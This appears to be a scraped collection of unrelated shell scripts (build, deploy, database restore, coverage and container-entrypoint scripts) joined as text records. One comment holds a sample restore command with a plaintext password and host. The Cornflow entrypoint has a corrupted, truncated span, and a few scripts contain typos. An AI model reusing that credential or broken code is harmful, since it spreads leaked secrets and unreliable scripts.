"#!/usr/bin/env bash\n\necho \"Removing the bower_components and node_modules directories from compiled apps...\"\nfind . -type d -iname 'kaamelott-soundboard-desktop-app*' -exec echo rm -rvf ./{}/bower_components/ ./{}/node_modules/ \\;\necho \"OK ? Ctrl+C to cancel, Enter to validate\"\nread || exit\nfind . -type d -iname 'kaamelott-soundboard-desktop-app*' -exec rm -rvf ./{}/bower_components/ ./{}/node_modules/ \\;\necho \"DONE\"\necho \"Removed the bower_components and node_modules directories from compiled apps :-)\"\n\necho\n\necho \"Zipping all the applications...\"\nfind . -type d -iname 'kaamelott-soundboard-desktop-app*' -exec echo zip -r -9 -y zips/{}.zip {} \\;\necho \"OK ? Ctrl+C to cancel, Enter to validate\"\nread || exit\nfind . -type d -iname 'kaamelott-soundboard-desktop-app*' -exec zip -r -9 -y zips/{}.zip {} \\;\necho \"DONE\"\necho \"Zipped all the applications in zips/ folder :-)\"\n\necho\n\necho \"Now, go to https://github.com/Naereen/kaamelott-soundboard-desktop-app/releases/edit/ and update the latest release...\""} {"text": "0\n#!/bin/bash\n\n# CAS Workflow Manager\ncd $OODT_HOME/cas-workflow/bin\n./wmgr stop\n\ncd $OODT_HOME"} {"text": "admin/db/restoreDb.sh\n#!/bin/bash\n# Program: restoreDb.sh\n# Purpose: restore to remote db\n# Author: \n# Updated: Jun 28, 2016\n# Example: mongorestore -u myapp -p admin2016 --authenticationDatabase admin --host jesta.monkieblankie.com --port 3102 --db telemetry2 --gzip\n#\nMONGOADMINDB=admin\nDUMPDIR=/mnt/data/tmp/databaseDump\nDBHOST=jesta.monkieblankie.com\nDBPORT=3101\nMONGODB=telemetry\n\nif [ $# -eq 0 ]; then\n echo \"Syntax: restoreDb.sh \"\n echo\n echo \"- this tool intends to restore entire MongoDB database to remote host as per data retention policy\"\nelse\n mongorestore -u $1 -p $2 --authenticationDatabase $MONGOADMINDB --host $DBHOST --port $DBPORT --db $MONGODB --gzip $DUMPDIR\nfi"} {"text": "0\n#!/bin/sh\ndocker build -t achipos:dev ."} {"text": "#!/bin/bash\n\ncur_dir=`dirname \"$0\"`; cur_dir=`eval \"cd \\\"$cur_dir\\\" && pwd\"`\nbuild_path=$cur_dir\"/Build\"\ninstall_path=$cur_dir\"/bin\"\n\n# build\nmkdir $build_path\ncd $build_path\ncmake -G \"Unix Makefiles\" ../ -DCMAKE_INSTALL_PREFIX=$install_path -DCMAKE_BUILD_TYPE=Release\nmake\nmake install\n\necho \"\"\necho \"done\"\nread x"} {"text": "0xnan-dev/authcore\n#!/bin/sh\n\nset -e\nset -o xtrace\n\nBASEDIR=$( cd \"$(dirname \"$0\")\"/.. ; pwd -P )\nif [ -z \"$BASEDIR\" ]\nthen\n echo \"cannot determine base path\"\n exit 255\nfi\n\nVERSION=$(git describe --always --match 'v*')\n\nif [ $VERSION != v* ]\nthen\n VERSION=0.1.0+git.$VERSION\nfi\n\nexport GOBIN=\"$BASEDIR\"/build\n\nrm -fr \"$GOBIN\"/*\ncd \"$BASEDIR\"\ngo install -ldflags \"-X authcore.io/authcore/internal/server.buildVersion=${VERSION}\" authcore.io/authcore/cmd/..."} {"text": "scripts/install.sh\n#!/bin/bash -e\n#\n# Install Snowflake SQLAlchemy dialect\n#\nset -o pipefail\n\nif [ \"$TRAVIS_OS_NAME\" == \"osx\" ]; then\n brew update\n brew install openssl readline sqlite3 xz zlib\n brew outdated pyenv || brew upgrade pyenv\n brew install pyenv-virtualenv\n pyenv install ${PYTHON_VERSION}\n export PYENV_VERSION=$PYTHON\n export PATH=\"${HOME}/.pyenv/shims:${PATH}\"\n if [[ $PYTHON_VERSION == \"2.7\"* ]]; then\n pip install -U virtualenv\n python -m virtualenv venv\n else\n python3 -m venv venv\n fi\nelse\n sudo apt-get update\n pip install -U virtualenv\n python -m virtualenv venv\nfi\nif [[ -n \"$SNOWFLAKE_AZURE\" ]]; then\n openssl aes-256-cbc -k \"$super_azure_secret_password\" -in parameters_az.py.enc -out test/parameters.py -d\nelse\n openssl aes-256-cbc -k \"$super_secret_password\" -in parameters.py.enc -out test/parameters.py -d\nfi\n\nsource ./venv/bin/activate\npip install pandas\n\npip install pytest pytest-cov pytest-rerunfailures\nif [[ \"$TRAVIS_PYTHON_VERSION\" == \"2.7\" ]]; then\n pip install mock\nfi\npip install .\npip list --format=columns"} {"text": "particleman314/ShellLibrarytest/nim_configuration/copy_configuration_section.sh\n#!/usr/bin/env bash\n\nassert_not_empty \"${TEST_CONFIG_BASIC}\"\nassert_not_empty \"${TEST_CONFIG_SIMPLE}\"\nassert_not_empty \"${TEST_CONFIG_MEDIUM}\"\nassert_not_empty \"${TEST_CONFIG_DEEP}\"\n\ncopy_cfg=\"${TEST_CONFIG_BASIC}.sample\"\ncp -f \"${TEST_CONFIG_BASIC}\" \"${copy_cfg}\"\nschedule_for_demolition \"${copy_cfg}\"\n\nsection='/test_config_basic'\nnew_section='/abc'\n\ncopy_configuration_section\nassert_failure $?\n\ncopy_configuration_section --cfgfile \"${copy_cfg}\"\nassert_failure $?\n\ncopy_configuration_section --cfgfile \"${copy_cfg}\" --cfgsection \"${new_section}\"assert_failure $?\n\ncopy_configuration_section --cfgfile \"${copy_cfg}\" --cfgsection \"${new_section}\" --new-cfgsection \"${new_section}\"\nassert_failure $?\n\ncopy_configuration_section --cfgfile \"what_file\" --cfgsection \"${section}\" --new-cfgsection \"${new_section}\"\nassert_failure $?\n\ncopy_configuration_section --cfgfile \"${copy_cfg}\" --cfgsection \"${section}\" --new-cfgsection \"${new_section}\"\nassert_success $?\n\nanswer=$( get_key_from_configuration --cfgfile \"${copy_cfg}\" --cfgsection \"${new_section}\" --key 'key1' )\nassert_success $?\nassert_not_empty \"${answer}\"\nassert_equals 'Hello' \"${answer}\"\n\nnew_section='/test_config_basic/abc/123'\n\ncopy_configuration_section --cfgfile \"${copy_cfg}\" --cfgsection \"${section}\" --new-cfgsection \"${new_section}\"\nassert_success $?"} {"text": "build_linux.sh1-10\n#!/usr/bin/env bash\n\nBUILD_DIR=./build/linux\nELECTRON=./electron/electron-v1.2.5-linux-x64\nPLATFORM=linux\nPROJECT_NAME=Einblick\n\ncd $(dirname \"$0\")\n\necho \"\"\necho \" Building $PROJECT_NAME for $PLATFORM ...\"\necho \" ----------------------------------------\"\n\nif [ ! -d \"build/$PLATFORM\" ]; then\n\tmkdir -p \"build/$PLATFORM\"\nfi\n\n\n# Delete old build.\nif [ -d \"build/$PLATFORM/$PROJECT_NAME\" ]; then\n\tprintf \" - Delete old build ...\"\n\trm -r \"build/$PLATFORM/$PROJECT_NAME\"\n\techo \" Done.\"\nfi\n\n\n# Copy electron.\nprintf \" - Copying electron ...\"\ncp -r \"$ELECTRON\" \"$BUILD_DIR/$PROJECT_NAME\"\necho \" Done.\"\n\n\n# Copy app directory and files for start.\n\nprintf \" - Copying app directory into electron ...\"\n\ncp -r app \"$BUILD_DIR/$PROJECT_NAME/resources/\"\n\ncp \"build_resources/$PLATFORM/Einblick.desktop\" \"$BUILD_DIR/$PROJECT_NAME\"\nchmod +x \"$BUILD_DIR/$PROJECT_NAME/Einblick.desktop\"\n\ncp \"build_resources/$PLATFORM/Einblick\" \"$BUILD_DIR/$PROJECT_NAME\"\nchmod +x \"$BUILD_DIR/$PROJECT_NAME/Einblick\"\n\ncp \"build_resources/$PLATFORM/install.sh\" \"$BUILD_DIR/$PROJECT_NAME\"\nchmod +x \"$BUILD_DIR/$PROJECT_NAME/install.sh\"\n\ncp \"build_resources/$PLATFORM/uninstall.sh\" \"$BUILD_DIR/$PROJECT_NAME\"\nchmod +x \"$BUILD_DIR/$PROJECT_NAME/uninstall.sh\"\n\necho \" Done.\"\n\n\necho \" ----------------------------------------\"\necho \" All done.\"\necho \"\""} {"text": "#!/bin/bash\narchive_name=groove2groove-data-v1.0.0\narchive=$archive_name.tar.gz\ndownload_url=\"https://zenodo.org/record/3958000/files/$archive?download=1\"\nchecksum=c407de7b3676267660c88dc6ee351c79\n\nset -e\n\nif [[ ! -e \"$archive\" ]]; then\n wget \"$download_url\" -O $archive\nelse\n echo \"File $archive already exists, skipping download\" >&2\nfi\nmd5sum --check <(printf '%s\\t%s\\n' $checksum $archive)\n\nfor dir in {train,val,test}/fixed; do\n if [[ -e \"$dir\" ]]; then\n echo \"Removing $dir\" >&2\n rm -rf \"$dir\"\n fi\n echo \"Extracting $dir\" >&2\n tar xzf $archive --strip-components 2 --no-overwrite-dir $archive_name/midi/$dir\ndone"} {"text": "#!/bin/sh\n\nFILE=$1\nBASEFILE=`basename $FILE`\n\ncurl -q -X POST https://content.dropboxapi.com/2/files/upload --header \"Authorization: Bearer ${DROPBOX_TOKEN}\" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"/${BASEFILE}\\\"}\" --header \"Content-Type: application/octet-stream\" --data-binary @$FILE"} {"text": "hack/gather-test-install-artifacts.sh\n#! /bin/bash\n\n# TODO: adapt to make this more general for debugging support cases\nMETERING_TEST_NAMESPACE=\"${METERING_TEST_NAMESPACE:=$METERING_NAMESPACE}\"\nMETERING_GATHER_OLM_RESOURCES=\"${METERING_GATHER_OLM_RESOURCES:=true}\"\n\nLOG_DIR=\"${LOG_DIR:=$PWD/must-gather}\"\nPOD_LOG_PATH=${POD_LOG_PATH:=\"${LOG_DIR}/pod_logs\"}\nmkdir -p ${POD_LOG_PATH}/\n\n# General namespace resources\nresources=()\nresources+=(pods)\nresources+=(deployments)\nresources+=(statefulsets)\nresources+=(services)\nresources+=(serviceaccounts)\n\n# Metering-specific namespaced resources\nresources+=(hivetables)\nresources+=(prestotables)\nresources+=(storagelocations)\nresources+=(meteringconfigs)\nresources+=(reportdatasources)\nresources+=(reportqueries)\nresources+=(reports)\n\nif [[ ${METERING_GATHER_OLM_RESOURCES} == \"true\" ]]; then\n resources+=(subscriptions)\n resources+=(operatorgroups)\n resources+=(clusterserviceversions)\n resources+=(installplans)\nfi\n\necho \"Storing the must-gather output at $LOG_DIR\"\nfor resource in \"${resources[@]}\"; do\n echo \"Collecting dump of ${resource} in the ${METERING_TEST_NAMESPACE} namespace\" | tee -a ${LOG_DIR}/gather-debug.log\n { timeout 120 oc adm --namespace ${METERING_TEST_NAMESPACE} --dest-dir=${LOG_DIR} inspect \"${resource}\"; } >> ${LOG_DIR}/gather-debug.log 2>&1\ndone\n\necho \"Collecting the metering-related CRDs from the cluster\"\nfor resource in $(oc get crd | grep metering | awk '{ print $1 }'); do\n timeout 120 oc adm --dest-dir=${LOG_DIR} inspect \"crd/$resource\" >> ${LOG_DIR}/gather-debug.log 2>&1\ndone\n\ncommands=()\ncommands+=(\"get pods -o wide\")\ncommands+=(\"get reportdatasources\")\ncommands+=(\"get reports\")\ncommands+=(\"get prestotables\")\ncommands+=(\"get hivetables\")\ncommands+=(\"get events\")\n\nfor command in \"${commands[@]}\"; do\n echo \"Collecting output of the following oc command: 'oc ${command}'\" | tee -a ${LOG_DIR}/gather-debug.log\n COMMAND_OUTPUT_FILE=${POD_LOG_PATH}/${command// /_}\n timeout 120 oc -n ${METERING_TEST_NAMESPACE} ${command} >> \"${COMMAND_OUTPUT_FILE}\"\ndone\n\nfor pod in $(oc --namespace $METERING_TEST_NAMESPACE get pods --no-headers -o name | cut -d/ -f2); do\n for container in $(oc --namespace $METERING_TEST_NAMESPACE get pods -o jsonpath=\"{.spec.containers[*].name}\" \"$pod\"); do\n echo \"Capturing Pod $pod container $container logs\"\n if ! oc logs --namespace \"$METERING_TEST_NAMESPACE\" -c \"$container\" \"$pod\" >> \"${POD_LOG_PATH}/${pod}-${container}.log\"; then\n echo \"Error capturing pod $pod container $container logs\"\n fi\n done\ndone\n\necho \"Deleting any empty test artifact files\" >> ${LOG_DIR}/gather-debug.log\nfind \"${LOG_DIR}\" -empty -delete >> ${LOG_DIR}/gather-debug.log 2>&1\nexit 0"} {"text": "dmntk/dmntk.rs\n#!/usr/bin/env bash\n\nWORKING_DIRECTORY=$(pwd)\nDMNTK_BINARY_PATH=\"$WORKING_DIRECTORY\"/target/debug\nMANUAL_TESTS_DIRECTORY=\"$WORKING_DIRECTORY\"/../dmntk.manual.tests\n\n# clean before proceeding\ncargo clean\n\n# set instrumenting variables\nexport CARGO_INCREMENTAL=0\nexport RUSTDOCFLAGS=\"-Cpanic=abort\"\nexport RUSTFLAGS=\"-Zprofile -Ccodegen-units=1 -Copt-level=0 -Clink-dead-code -Coverflow-checks=off -Zpanic_abort_tests -Cpanic=abort\"\n\nif [ -n \"$1\" ]; then\n # run tests for specified package\n cargo test -p \"$1\"\nelse\n # run all tests\n cargo test\n # run building feel-parser with features, after reformatting, no changes in source code are expected\n cargo build -p dmntk-feel-parser --features=parsing-tables\n cargo fmt -p dmntk-feel-parser\n # build the whole binary before running manual tests\n cargo build\n # run manual tests to take the coverage of the code executed from command-line\n echo \"$MANUAL_TESTS_DIRECTORY\"\n if [[ -d \"$MANUAL_TESTS_DIRECTORY\" ]]\n then\n export PATH=$DMNTK_BINARY_PATH:$PATH\n cd \"$MANUAL_TESTS_DIRECTORY\" || exit 1\n ./run.sh\n cd \"$WORKING_DIRECTORY\" || exit 1\n fi\nfi\n\n# prepare output directories for coverage results\nmkdir ./target/lcov\nmkdir ./target/coverage\n# generate coverage info\ngrcov . --llvm -s . -t lcov --branch --ignore-not-existing --ignore \"*cargo*\" --ignore \"*chrono-tz*\" --ignore \"*tests*\" -o ./target/lcov/lcov.info\n# generate coverage report\ngenhtml -t \"Decision Model and Notation Toolkit\" -q -o ./target/coverage ./target/lcov/lcov.info\n# display final message\necho \"\"\necho \"open coverage report: file://$WORKING_DIRECTORY/target/coverage/index.html\"\necho \"\""} {"text": "jamf/NetSUS\n#!/bin/bash\n\nlogNoNewLine \"Checking for a 64-bit OS...\"\n\narchVersion=$(uname -m)\n\nif [[ ${archVersion} != 'x86_64' && ${archVersion} != 'ia64' ]]; then\n\tlog \"Error: Did not detect a 64-bit kernel (Detected $archVersion).\"\n\texit 1\nfi\n\nlog \"OK\"\n\nexit 0"} {"text": "mariushes/TextBrewer\n#set hyperparameters\nOUTPUT_ROOT_DIR=/work/mhessent/TextBrewer/examples/mnli_example/outputs/training\nDATA_ROOT_DIR=/work/mhessent/TextBrewer/examples/mnli_example\n\n\naccu=1\nep=3\nlr=3\ntemperature=8\nbatch_size=32\nlength=128\ntorch_seed=1909\n\ntaskname='mnli'\nNAME=${taskname}_base_lr${lr}e${ep}_bs${batch_size}_teacher\nDATA_DIR=${DATA_ROOT_DIR}/MNLI\nOUTPUT_DIR=${OUTPUT_ROOT_DIR}/${NAME}\n\nmkdir -p $OUTPUT_DIR\nmodel_config_json_file=TrainBertTeacher.json\ncp jsons/${model_config_json_file} ${OUTPUT_DIR}/${model_config_json_file}.run\n\n\npython3 -u main.trainer.py \\\n --data_dir $DATA_DIR \\\n --do_train \\\n --do_eval \\\n --do_predict \\\n --max_seq_length ${length} \\\n --train_batch_size ${batch_size} \\\n --random_seed $torch_seed \\\n --num_train_epochs ${ep} \\\n --learning_rate ${lr}e-5 \\\n --ckpt_frequency 2 \\\n --output_dir $OUTPUT_DIR \\\n --gradient_accumulation_steps ${accu} \\\n --task_name ${taskname} \\\n --fp16 \\\n --model_config_json ${OUTPUT_DIR}/${model_config_json_file}.run"} {"text": "build.sh\n#!/bin/bash\n\nset -e\n\n# build.sh\n\nOSNAME=\"$1\"\n\nif [ \"$OSNAME\" == \"help\" ]; then\n echo \"Build NRT\"\n echo \" - Requirements:\"\n echo \" . Access to nsip github\"\n echo \" . go - version 1.16 or above\"\n echo \" . Utilities - git, zip, unzip, curl\"\n echo \" - NRT version is detected using tools/release and tags, taken from nsip github\"\n echo \" - OS is auto detect, or can be provided:\"\n echo \" . Linux64\"\n echo \" . Mac\"\n echo \" . Windows64\"\n echo \"\"\n exit 1\nfi\n\nDEPENDS=(\"git\" \"zip\" \"unzip\" \"curl\")\nfor b in ${DEPENDS[@]}; do\n if ! [ -x \"$(command -v $b)\" ]; then\n echo \"Missing utilitiy: $b\"\n exit 1\n fi\ndone\n\ngo get gopkg.in/cheggaaa/pb.v1\ncd tools; go build release.go; cd ..\n\nVERSION=\"$(./tools/release dev-nrt version)\"\n\nif [ -z \"$VERSION\" ]; then\n echo \"Cannot determine version from repo.\"\n exit 1\nfi\necho \"NRT-BUILD: VERSION=$VERSION\"\n\n# Specific branches\n# NRT_BRANCH=\"master\" # always for formal release\nNRT_BRANCH=\"add-splitter\" # for testing/alphas etc.\n\n\nORIGINALPATH=`pwd`\n\nGOARCH=amd64\nLDFLAGS=\"-s -w\"\nexport GOARCH\n\n# Simplified - assumes all 64 bit for now\nif [ \"$OSNAME\" == \"\" ]; then\n case \"$OSTYPE\" in\n linux*) OSNAME=\"Linux64\" ;;\n Linux*) OSNAME=\"Linux64\" ;;\n darwin*) OSNAME=\"Mac\" ;;\n Darwin*) OSNAME=\"Mac\" ;;\n win*) OSNAME=\"Windows64\" ;;\n Win*) OSNAME=\"Windows64\" ;;\n esac\nfi\n\nif [ \"$OSNAME\" == \"\" ]; then\n echo \"Unknown operating system from $OSTYPE\"\n exit 1\nfi\n\nGOOS=\"\"\ncase \"$OSNAME\" in\n Linux64) GOOS=\"linux\" ;;\n Mac) GOOS=\"darwin\" ;;\n Windows64) GOOS=\"windows\" ;;\nesac\nexport GOOS\n\nEXT=\"\"\ncase \"$OSNAME\" in\n Windows64) EXT=\".exe\" ;;\nesac\n\n\n# creates a all build of the NRT components and combined into\n# ZIP files for release.\n\necho \"NRT-BUILD: Start - Building NRT-$OSNAME-$VERSION\"\n\necho \"NRT-BUILD NOTE: removing existing builds\"\nrm -rf build\n\nmkdir -p build\n\n# echo \"NRTBUILD: Static Code\"\ncd \"$ORIGINALPATH\"\n\necho \"NRT-BUILD: Creating NRT @ $NRT_BRANCH\"\ncd cmd/nrt\necho \"NRT-BUILD: building NRT application\"\ngo build -ldflags=\"$LDFLAGS\"\n\n# copy supporting files\nrsync -av * \"$ORIGINALPATH\"/build/\nrsync -av config \"$ORIGINALPATH\"/build/\nrsync -av config_split \"$ORIGINALPATH\"/build/\n# remove golang files copied\nrm \"$ORIGINALPATH\"/build/main.go || true\n\n# include test data samples in distribution\ncd \"$ORIGINALPATH\"\nrsync -av testdata \"$ORIGINALPATH\"/build/\n\n# include this project readme as minimal documentation\necho \"NRT-BUILD: Documentation\"\ncp README.md build/\n\necho \"NRT-BUILD: Generating ZIP\"\ncd build\nrm ../NRT-$OSNAME-$VERSION.zip || true\nzip -qr ../NRT-$OSNAME-$VERSION.zip *\n\necho \"NRT-BUILD: Complete - NRT-$OSNAME-$VERSION.zip\"\n\necho \"If happy with zip, run the following release command\"\necho \" ./tools/release dev-nrt NRT-$OSNAME.zip NRT-$OSNAME-$VERSION.zip\""} {"text": "#!/usr/bin/env bash\ncp $BUDDYBUILD_SECURE_FILES/google-services.json app/src/prod/google-services.json\ncp $BUDDYBUILD_SECURE_FILES/google-services-qa.json app/src/qa/google-services.json\ncp $BUDDYBUILD_SECURE_FILES/google-services-qa.json app/src/mock/google-services.json"} {"text": "#!/bin/bash\nnibFrag 2> /dev/null || [[ \"$?\" == 255 ]]"} {"text": "#!/bin/bash\n\nVKPR_HOME=~/.vkpr\nVKPR_GLOBAL=$VKPR_HOME/global-values.yaml\nVKPR_CONFIG=$VKPR_HOME/config\n\n##ALL RESOURCES EXCEPT CERT-MANAGER MUST BE UNDER THIS NAMESPACE \nVKPR_K8S_NAMESPACE=vkpr\n\nVKPR_GLAB=$VKPR_HOME/bin/glab\nVKPR_K3D=$VKPR_HOME/bin/k3d\nVKPR_ARKADE=$VKPR_HOME/bin/arkade\nVKPR_KUBECTL=$VKPR_HOME/bin/kubectl\nVKPR_HELM=$VKPR_HOME/bin/helm\nVKPR_JQ=$VKPR_HOME/bin/jq\nVKPR_YQ=$VKPR_HOME/bin/yq\n\nVKPR_EXTERNAL_DNS_VERSION=\"5.4.9\"\nVKPR_WHOAMI_VERSION=\"2.5.0\"\nVKPR_KEYCLOAK_VERSION=\"5.1.2\"\nVKPR_LOKI_VERSION=\"2.6.0\"\nVKPR_PROMETHEUS_STACK_VERSION=\"19.0.2\"\nVKPR_POSTGRES_VERSION=\"10.12.3\"\nVKPR_INGRESS_NGINX_VERSION=\"0.11.1\"\nVKPR_CERT_VERSION=\"v1.5.3\""} {"text": "build.sh\n#!/usr/bash\nmvn clean package\ndocker docker build -t tool/swagger2word:1.0.03-release .\nkubectl create -n tool configmap swagger2word-filebeat-config --from-file=config\nkubectl apply -f swagger2word.yml\nkubectl get pod -n tool -o wide"} {"text": "0\n#!/bin/bash\n# Ceiling function for divisions\n\nlet a=($1+$2-1)/$2\necho $a"} {"text": "#!/bin/sh\nmake\n./UserModeMonitor ./mac/p1\necho \" \"\n./UserModeMonitor ./mac/p2\necho \" \"\n./UserModeMonitor ./mac/p3\necho \" \"\n./UserModeMonitor ./mac/p4\nmake clean"} {"text": "set -euo pipefail\nhere=`cd $(dirname ${BASH_SOURCE[0]}) && pwd`\n. \"${here}/../../helper/helper.bash\"\n\nenv=`cat \"${1}/env\"`\nshift\n\nid=\"${1}\"\nto_file=\"${2}\"\n\nhost=`must_env_val \"${env}\" 'bench.meta.host'`\nport=`must_env_val \"${env}\" 'bench.meta.port'`\nuser=`must_env_val \"${env}\" 'bench.meta.user'`\ndb=`must_env_val \"${env}\" 'bench.meta.db-name'`\n\nquery=\"SELECT tiup_yaml FROM bench_meta WHERE id=${id}\"\ntext=`my_exe \"${host}\" \"${port}\" \"${user}\" \"${db}\" \"${query}\" 'tab' | { grep -v 'tiup_yaml' || test $? = 1; }`\n\nif [ -z \"${text}\" ]; then\n\techo \"[:(] tiup yaml file not found for record '${id}'\" >&2\n\texit\nfi\n\ntext=`echo \"${text}\" | base64 --d`\n\nif [ -z \"${to_file}\" ]; then\n\techo \"${text}\"\nelse\n\tc=\"${to_file:0:1}\"\n\tif [ \"${c}\" != '/' ] && [ \"${c}\" != '\\' ]; then\n\t\techo \"[:(] arg 'to-file' should be abs path\" >&2\n\t\texit\n\telse\n\t\techo \"${text}\" > \"${to_file}\"\n\tfi\nfi"} {"text": "zdeveloper/artifactory-ha\nsource ../properties.sh\n\necho building $P_IMAGE\ndocker build -t $P_IMAGE ."} {"text": "#!/bin/bash\n\ngit pull\nmake -f $CV11_DATA_DIR/Makefile clean &&\\\nmake -f $CV11_DATA_DIR/Makefile install"} {"text": "10-100\n# This is deploy script we use to update staging server\n# You can always modify it for your needs :)\n\n# If any command return non-zero status - stop deploy\nset -e\n\necho 'Deploy: Stopping sidekiq..'\ncd /home/git/gitlab/ && sudo -u git -H bundle exec rake sidekiq:stop RAILS_ENV=production\n\necho 'Deploy: Show deploy index page'\nsudo -u git -H cp /home/git/gitlab/public/deploy.html /home/git/gitlab/public/index.html\n\necho 'Deploy: Starting backup...'\ncd /home/git/gitlab/ && sudo -u git -H bundle exec rake gitlab:backup:create RAILS_ENV=production\n\necho 'Deploy: Stop GitLab server'\nsudo service gitlab stop\n\necho 'Deploy: Get latest code'\ncd /home/git/gitlab/\n\n# clean working directory\nsudo -u git -H git stash \n\n# change branch to \nsudo -u git -H git pull origin master\n\necho 'Deploy: Bundle and migrate'\n\n# change it to your needs\nsudo -u git -H bundle --without aws development test mysql --deployment\n\nsudo -u git -H bundle exec rake db:migrate RAILS_ENV=production\nsudo -u git -H bundle exec rake gitlab:assets:clean RAILS_ENV=production\nsudo -u git -H bundle exec rake gitlab:assets:compile RAILS_ENV=production\nsudo -u git -H bundle exec rake cache:clear RAILS_ENV=production\n\n# return stashed changes (if necessary)\n# sudo -u git -H git stash pop\n\necho 'Deploy: Starting GitLab server...'\nsudo service gitlab start\n\nsudo -u git -H rm /home/git/gitlab/public/index.html\necho 'Deploy: Done'"} {"text": "gkang2018/cs501-t1-assessmentdeploy.sh\n#!/bin/bash\n\nexport FLASK_APP=project.server\nexport APP_SETTINGS=\"project.server.config.ProductionConfig\"\nflask db upgrade"} {"text": "#!/usr/bin/env bash\n# Cornflow init script for Dockerfile ENTRYPOINT\n\n# Global defaults and back-compat\n: \"${AIRFLOW_USER:=\"admin\"}\"\n: \"${AIRFLOW_PWD:=\"\"}\"\n: \"${AIRFLOW_URL:=\"http://webserver:8080\"}\"\n: \"${CORNFLOW_URL:=\"http://cornflow:5000\"}\"\n: \"${AUTH_TYPE:=\"1\"}\"\n: \"${FLASK_APP:=\"cornflow.app\"}\"\n: \"${FLASK_ENV:=\"development\"}\"\n: \"${SECRET_KEY=${FERNET_KEY:=$(python -c \"from cryptography.fernet import Fernet; FERNET_KEY = Fernet.generate_key().decode(); print(FERNET_KEY)\")}}\"\n: \"${DATABASE_URL=${CORNFLOW_DB_CONN}}\"\n: \"${CORNFLOW_ADMIN_USER:=\"cornflow_admin\"}\"\n: \"${CORNFLOW_ADMIN_EMAIL:=\"\"}\"\n: \"${CORNFLOW_ADMIN_PWD:=\"\"}\"\n: \"${CORNFLOW_SERVICE_USER:=\"service_user\"}\"\n: \"${CORNFLOW_SERVICE_EMAIL:=\"\"}\"\n: \"${CORNFLOW_SERVICE_PWD:=\"\"}\"\n\nexport \\\n AIRFLOW_USER \\\n AIRFLOW_PWD \\\n AIRFLOW_URL \\\n CORNFLOW_ADMIN_USER \\\n CORNFLOW_ADMIN_EMAIL \\\n CORNFLOW_ADMIN_PWD \\\n CORNFLOW_SERVICE_USER \\\n CORNFLOW_SERVICE_EMAIL \\\n CORNFLOW_SERVICE_PWD \\\n CORNFLOW_DB_CONN \\\n CORNFLOW_URL \\\n DATABASE_URL \\\n FLASK_APP \\\n FLASK_ENV \\\n CORNFLOW_LOGGING \\\n SECRET_KEY \\\n AUTH_TYPE\n\n# check database param from docker env\nif [ -z \"$CORNFLOW_DB_CONN\" ]; then\n # Default values corresponding to the default compose files\n\t: \"${CORNFLOW_DB_HOST:=\"cornflow_db\"}\"\n\t: \"${CORNFLOW_DB_PORT:=\"5432\"}\"\n\t: \"${CORNFLOW_DB_USER:=\"cornflow\"}\"\n\t: \"${CORNFLOW_DB_PASSWORD:=\"\"}\"\n\t: \"${CORNFLOW_DB:=\"cornflow\"}\"\n\n DATABASE_URL=\"postgres://${CORNFLOW_DB_USER}:${CORNFLOW_DB_PASSWORD}@${CORNFLOW_DB_HOST}:${CORNFLOW_DB_PORT}/${CORNFLOW_DB}\"\n export DATABASE_URL\nfi\n\nif [[ -z \"$DATABASE_URL\" ]]; then\n\t >&2 printf '%s\\n' \"FATAL: you need to provide a postgres database for Cornflow\"\n exit 1\nfi\n\n# Check LDAP parameters for active directory\nif [ \"$AUTH_TYPE\" = \"2\" ]; then\n # Default values corresponding to the default compose files\n : \"${LDAP_PROTOCOL_VERSION:=\"3\"}\"\n : \"${LDAP_BIND_PASSWORD:=\"\"}\"\n : \"${LDAP_BIND_DN:=\"cn=admin,dc=example,dc=org\"}\"\n : \"${LDAP_USE_TLS:=\"False\"}\"\n : \"${LDAP_HOST:=\"ldap://openldap:389\"}\"\n : \"${LDAP_USERNAME_ATTRIBUTE:=\"cn\"}\"\n : \"${LDAP_USER_BASE:=\"ou=users,dc=example,dc=org\"}\"\n : \"${LDAP_EMAIL_ATTRIBUTE:=\"mail\"}\"\n : \"${LDAP_USER_OBJECT_CLASS:=\"inetOrgPerson\"}\"\n : \"${LDAP_GROUP_OBJECT_CLASS:=\"posixGroup\"}\"\n : \"${LDAP_GROUP_ATTRIBUTE:=\"cn\"}\"\n : \"${LDAP_GROUP_BASE:=\"ou=groups,dc=example,dc=org\"}\"\n : \"${LDAP_GROUP_TO_ROLE_SERVICE:=\"service\"}\"\n : \"${LDAP_GROUP_TO_ROLE_ADMIN:=\"administrators\"}\"\n : \"${LDAP_GROUP_TO_ROLE_VIEWER:=\"viewers\"}\"\n : \"${LDAP_GROUP_TO_ROLE_PLANNER:=\"planners\"}\"\n >&2 printf '%s\\n' \"Cornflow will be deployed with LDAP Authorization. Please review your ldap auth configuration.\"\n export \\\n LDAP_PROTOCOL_VERSION \\\n LDAP_BIND_PASSWORD \\\n LDAP_BIND_DN \\\n LDAP_USE_TLS\\\n LDAP_HOST \\\n LDAP_USERNAME_ATTRIBUTE \\\n LDAP_USER_BASE \\\n LDAP_EMAIL_ATTRIBUTE \\\n LDAP_USER_OBJECT_CLASS \\\n LDAP_GROUP_OBJECT_CLASS \\\n LDAP_GROUP_ATTRIBUTE \\\n LDAP_GROUP_BASE \\\n LDAP_GROUP_TO_ROLE_SERVICE \\\n LDAP_GROUP_TO_ROLE_ADMIN \\\n LDAP_GROUP_TO_ROLE_VIEWER \\\n LDAP_GROUP_TO_ROLE_PLANNER\nfi\n\nif [ \"$CORNFLOW_LOGGING\" == \"file\" ]; then\n cat > /etc/logrotate.d/cornflow <\"\n # create cornflow service user\n python manage.py create_service_user --username=\"$CORNFLOW_SERVICE_USER\" --email=\"$CORNFLOW_SERVICE_EMAIL\" --password=\"$\"\nfi\n\n# execute gunicorn with config file \"gunicorn.py\"\n/usr/local/bin/gunicorn -c cornflow/gunicorn.py \"cornflow:create_app('$FLASK_ENV')\""} {"text": "#!/usr/bin/bash\ncd $(dirname $(readlink -f $0))\n\nsource ~/.config/lemon-modules/config.bash\n\nrm -f ${NAMED_PIPE}\nmkfifo ${NAMED_PIPE}\ntrap \"rm -f ${NAMED_PIPE}\" EXIT\n\nfunction monitor_battery {\n udevadm monitor -p | grep --line-buffered 'POWER_SUPPLY_NAME=BAT.' |\n while read val; do\n lemon-modules-update --event battery\n echo \"[ .. ][monitor] event fired.\"\n sleep 0.5\n done\n}\n\nfunction monitor_network {\n nmcli monitor | grep --line-buffered --perl-regex ':\\sconnected|:\\sdisconnected|device\\sremoved' |\n while read val; do\n lemon-modules-update --event network\n echo \"[ .. ][monitor] event 